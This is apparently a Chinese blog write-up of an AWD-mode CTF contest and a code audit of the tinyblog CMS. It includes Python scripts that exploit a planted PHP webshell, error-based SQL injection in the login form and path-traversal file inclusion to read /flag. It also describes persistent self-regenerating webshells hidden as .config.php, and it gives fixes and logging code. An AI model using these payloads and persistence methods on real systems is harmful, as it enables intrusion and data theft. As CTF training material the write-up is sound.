CTF线下赛writeup&tinyblog代码审计

阅读量    66728 | 评论 1   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

前段时间参加了某次CTF线下赛,大多数比赛都是采用主流CMS系统,比如wordpress、pgpcms、dedecms等等,如果对主流CMS漏洞比较熟悉的话可以迅速定位漏洞,发起攻击。而这次比赛采用了小众自写CMS的方式,注重现场快速代码审计。本文将介绍CTF线下赛AWD模式的一些常见套路,以及对tinyblog的代码审计思路。

 

预留后门

比赛开始,一般比赛方为了比赛的观赏性,一般都会预留后门,这样场上可以迅速打起来,展示画面比较好看,不然过了好几轮都没动静会比较尴尬。迅速找后门的套路一般是将比赛源代码首先备份下来,备份很关键,后面可能在修复漏洞或者被其他队伍攻击的时候服务会挂掉,没有备份很难恢复过来。利用webshell检测工具D盾、河马等对备份进行扫描,一般都可以发现预留后门:

查看一下预留后门内容:

虽然做了变形,但还是可以明显看出来是一句话木马,密码:abcde10db05bd4f6a24c94d7edde441d18545,尝试用菜刀去连:

在根目录下就可以得到flag内容。所以发现后门后需要迅速将自己的后门删掉,同时利用预留后门迅速发起第一波攻击,用菜刀手工连接显然是来不及的,因此需要自动化的攻击脚本:

	def backdoor(host):  
	    r = requests.post(url="http://%s/Upload/index.php"%host,data={"abcde10db05bd4f6a24c94d7edde441d18545":"print('>>>'.file_get_contents('/flag').'<<<');"})  
	    flags = re.findall(r'>>>(.+?)<<<',r.content)  
	    if flags:  
	        return flags[0]  
	    else:  
	        return "error pwn!"  

登陆处SQL注入

接下来,对各种用户交互的地方进行渗透测试,发现在用户登录处存在SQL注入漏洞,在登录名出加’进行测试:

发现报错:

估计存在SQL注入的可能性比较大,审计一下源代码,在Model/Admin.php第16行发现SQL拼接,并且没有任何防护措施:

因此这里可以直接用SQLmap跑:

然后利用–sql-shell选项,执行 select load_file(‘/flag’)即可获得flag:

这里注意一下sqlmap的缓存机制,因为flag每一轮都会变化,如果新一轮继续直接跑的话获得的flag仍然是上一轮的,因此每轮还需要增加–flush-session参数。

当然也可以直接现场编写payload:

	def sqli(host):  
	  1  r = requests.post(url="http://%s/?p=admin&a=login"%host,data={"email":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","password":"pwd123"})  
	    flags = re.findall(r'~(.+?)~',r.content)  
	    if flags:  
	        return flags[0]  
	    else:  
	        return "error pwn!"  

修复的话,需要将Admin.php中出问题的代码用预编译的方式进行修复,即:

	//fix by tinyfisher  
	$oStmt = $this->oDb->prepare("SELECT email, password FROM Admins WHERE email = ? LIMIT 1");  
	$oStmt->execute($sEmail);  

文件包含

这个漏洞利用黑盒测试是很难测出来,必须通过代码审计才能发现,这里我主要用的工具是seay的源代码审计工具,首先将备份文件自动审计一下:

这里发现漏洞并不多,可以一个一个跟进去看一下,问题出现在Engine/Router.php的第21行,直接include $sTemplatePath,而:

$sTemplatePath = ROOT_PATH . ‘Template/’ . $aParams[‘template’];

所以可以通过控制$aParams[‘template’]来达到任意文件读取。

我们来全局查找一下这个参数:

发现在index.php的33行找到该参数

根据’template’ => (!empty($_GET[‘t’]) ? $_GET[‘t’] : ‘pc’),get 参数中如果t为空,则t默认值为pc,因此我们可以控制t,进而控制$aParams[‘template’],来达到文件包含的效果,payload:/?t=../../../../../../../flag

自动攻击脚本:

	def include(host):  
	    r = requests.get(url="http://%s/?t=../../../../../../flag"%host)  
	    flags = re.findall(r'^(.+?)<',r.content)  
	    if flags:  
	        return flags[0]  
	    else:  
	        return "error pwn!"  

修复的话,过滤掉“.”和“/”来快速达到修复效果:

$sTemplatePath = str_replace(array(“.”,”\/”), “”, $sTemplatePath);

 

权限维持

对于上面的漏洞,如果其他队伍修复了就没有办法再次利用,因此需要进行权限维持,不然后期就再也得不到分了。常见的权限维持手段是“不死马”,也就是上传一个php文件不断生成webshell:

访问这个php文件之后,会在目录下生成一个.config.php的一句话木马,之所以叫.config.php一方面是隐藏文件,另一方面config这个名字容易掩护自己。里面的内容之所以做了变形处理,也是为了防止其他选手“借刀杀人”,利用自己的shell去攻击其他队伍。

php中ignore_user_abort() 可以实现当客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行,可实现所谓的计划任务功能与持续进程,只需要开启执行脚本,除非 apache等服务器重启或有脚本有输出,该PHP脚本将一直处于执行的状态,因此就可以一直生成一句话木马,用来维持权限。

 

 

借刀杀人

比赛当中如果一直被高手打,而又找不到漏洞所在,有没有其他手段可以缩小差距?我们可以监控流量和日志来找到攻击payload,然后利用这个payload攻击其他队伍。比如发现自己被种上了不死马,没有办法杀掉怎么办?那就继续将这个不死马发扬光大,一般攻击者上传的文件路径和内容都是一致的,你被种了不死马意味着在其他队伍的相同位置下也存在不死马,所以直接去利用他得分吧。

流量监控这块,可以在靶机上抓一下流量:

tcpdump –s 0 –w flow.pcap port xxxx

然后在自己的机器上去分析flow.pcap这个文件,一般就可以看到其他队伍的攻击payload,web和pwn都可以使用这个方法。

日志监控这块主要是为了网站访问记录,便于后续的问题排查,就是把各种字段的数据记录下来,包括请求的文件、时间、IP、访问的文件、POST的内容等等。

	date_default_timezone_set('Asia/Shanghai');  
	$ip        = $_SERVER["REMOTE_ADDR"];   //访问IP  
	$filename  = $_SERVER['PHP_SELF'];  //访问的文件  
	$parameter = $_SERVER["QUERY_STRING"];  //查询的字符串  
	$method    = $_SERVER['REQUEST_METHOD']; //请求方法  
	...  
	$time      =  date('Y-m-d H:i:s',time()); //请求时间  
	$post      = file_get_contents("php://input",'r'); //接收POST数据  
	$others    = '**********************************************************************';  
	$logadd    = '访问时间:'.$time.'访问IP:'.$ip.'请求方法:'.$method.' '.'访问链接:'.$filename.'?'.$parameter."\r\n";...  
	//记录写入  
	$fh = fopen("log.txt", "a");  
	fwrite($fh, $logadd);  
	fwrite($fh,print_r($_COOKIE, true)."\r\n");  
	fwrite($fh,$others."\r\n");  
	fclose($fh);

附:

比赛源代码下载

链接:https://pan.baidu.com/s/1bqZbLi3 密码:fagg

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多